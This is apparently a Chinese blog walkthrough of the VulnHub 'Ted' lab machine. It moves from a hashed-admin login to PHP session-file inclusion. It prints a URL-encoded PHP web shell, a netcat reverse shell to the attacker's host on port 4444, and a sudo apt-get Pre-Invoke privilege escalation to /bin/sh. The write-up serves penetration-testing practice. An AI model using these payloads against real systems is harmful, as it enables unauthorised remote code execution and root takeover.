【vulnhub】Ted 靶机_ted vulnhub-优快云博客

一、信息收集

1.查看MAC地址

2.主机探测

3.查看端口服务

只有一个端口开放

4.目录扫描

拼接打开后并没有发现什么信息

打开页面，是一个登陆窗口

进行弱口令登陆，登陆失败

burp抓包进行测试，发现需要使用hash加密

将admin进行加密试试

加密后的值（转换大小写后）为：8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918

再次尝试登陆，登陆成功

经过测试，发现在搜索框处存在任意文件读取漏洞

尝试包含用来存储用户session的文件，从而获取shell：

在Linux下 PHP语言的session的存储路径如下：

/tmp 或 /var/lib/php/sess_[PHPSESSID]

/var/lib/php5/sess_[PHPSESSID]

/var/lib/php/sessions/sess_[PHPSESSID]

抓取一个有session的请求包，拿到session：

拼接如下路径search读取：

/var/lib/php/sessions/sess_on7urcu3fbbatc5sqc4jkofpp4

抓包将数据包放到重放模块里进行测试，发现可以修改user_pref变量的值，从而写入到session文件中，再结合文件包含漏洞，造成RCE的漏洞

写入URL编码后的一句话木马

%3C%3Fphp%20system(%24_POST%5B%22cmd%22%5D)%3B%20%3F%3E

搜索框处输入命令看看是否被执行，发现成功执行

写入反弹shell语句

nc+192.168.172.131+4444+-e+/bin/bash

kali监听，成功反弹

获取一个交互式的shell

python -c 'import pty;pty.spawn("/bin/bash")'

sudo -l

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

提权成功